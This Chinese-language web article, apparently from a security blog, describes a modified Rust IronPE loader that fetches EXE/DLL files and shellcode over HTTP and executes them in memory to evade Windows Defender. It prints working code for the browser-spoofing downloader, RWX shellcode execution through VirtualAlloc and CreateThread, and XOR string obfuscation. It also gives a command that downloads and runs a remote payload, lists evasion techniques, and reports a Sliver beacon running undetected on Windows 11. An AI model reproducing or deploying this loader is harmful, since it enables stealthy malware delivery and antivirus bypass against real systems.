返回首页

IronPE:通过 HTTP PE 加载绕过 Defender

使用 Rust 修改的 IronPE 通过 HTTP 将 PE 文件和 shellcode 加载到内存中,绕过 Windows Defender 静态检测。使用动态导入、XOR 混淆和合法 API。在 Windows 11 上使用 Sliver beacon 测试。

修改 IronPE:无 Defender 的 PE 加载到内存
Advertisement 728x90

IronPE 修改版:通过内存加载PE文件绕过Windows Defender

IronPE 的修改版本支持通过 HTTP/HTTPS 将 PE 文件(EXE 或 DLL)直接加载到内存中,无需写入磁盘。这避免了在文件系统上留下痕迹,从而规避了 Windows Defender 的静态分析。该 Rust 实现采用手动映射技术,结合动态导入解析和字符串混淆。

IronPE 最初设计用于演示不使用 CreateProcess 或 LoadLibrary 等标准 API 的 PE 加载机制。此修改增加了基于网络的有效载荷加载和 shellcode 支持,同时保持合法的 WinAPI 调用。

关键代码更改

使用 reqwest 进行 HTTP 加载

为了从网络获取 PE 文件,集成了一个阻塞式 reqwest 客户端,模拟浏览器 User-Agent 并设置 120 秒超时。

Google AdInline article slot
fn fetch_from_url_reqwest(url: &str) -> Result<Vec<u8>, String> {
    let client = reqwest::blocking::Client::builder()
        .user_agent("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
        .timeout(std::time::Duration::from_secs(120))
        .build()?;
    let response = client.get(url).send()?;
    let bytes = response.bytes()?.to_vec();
    Ok(bytes)
}

执行命令:./ironpe --x64 http://server/payload.exe。字节数据被加载到内存中,不保存到磁盘。

Shellcode 支持

--shellcode 模式通过 VirtualAlloc 分配 RWX 内存,并将字节数据复制到该内存中直接执行。适用于 Sliver 等 stager。

"--shellcode" => {
    let bytes = read_file_or_url(&args[2])?;
    let ptr = VirtualAlloc(None, bytes.len(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    std::ptr::copy_nonoverlapping(bytes.as_ptr(), ptr as *mut u8, bytes.len());
    let thread = CreateThread(None, 0, Some(std::mem::transmute(ptr)), None, 0, None);
    WaitForSingleObject(thread?, INFINITE);
}

动态导入解析

IAT 被最小化:所有函数(VirtualAlloc、LoadLibrary、GetProcAddress、CreateThread)均在运行时解析。没有对注入或 LSASS 访问的静态引用,降低了检测风险。

Google AdInline article slot

字符串混淆

DLL 和函数名称以 XOR 加密字节形式存储。解密仅在执行期间进行。

fn decrypt(s: &[u8], key: u8) -> String {
    s.iter().map(|&c| (c ^ key) as char).collect()
}
let kernel32 = decrypt(b"\x4b\x4f\x4c\x4d\x4e\x5a\x5b\x2b", 0x2a);

静态分析规避机制

该技术在 Windows 11 25H2 上有效,即使 Defender 实时和云保护开启。关键因素:

  • 无磁盘操作:有效载荷(约 30 MB 的 Sliver beacon)不被保存。
  • 合法 API:VirtualAlloc、LoadLibrary 等——安装程序常用。
  • 空 IAT:动态调用隐藏可疑操作。
  • Rust 语言:在恶意软件中罕见,YARA 规则较少。
  • 网络阶段:静态扫描器无法预知有效载荷。

优势与限制

| 方面 | 原始 IronPE | 修改版 |

Google AdInline article slot

|--------|-----------------|-------------|

| 加载方式 | 本地文件 | HTTP/HTTPS |

| Shellcode | 不支持 | 支持,RWX 内存 |

| IAT | 部分动态 | 完全动态 |

| 字符串 | 明文 | XOR 混淆 |

| Defender 检测 | 可能 | 静态绕过 |

在 VPS 上使用 Python 服务器(端口 8081)测试时,Sliver 会话启动未触发 Defender 警报。

关键要点:

  • 手动映射 + HTTP 消除了文件签名。
  • 动态导入最小化静态痕迹。
  • Rust 降低签名风险,但无法规避行为检测。
  • 需针对 EDR 的 AMSI/ETW 监控进行优化。
  • 仅供安全研究使用。

— Editorial Team

Advertisement 728x90

继续阅读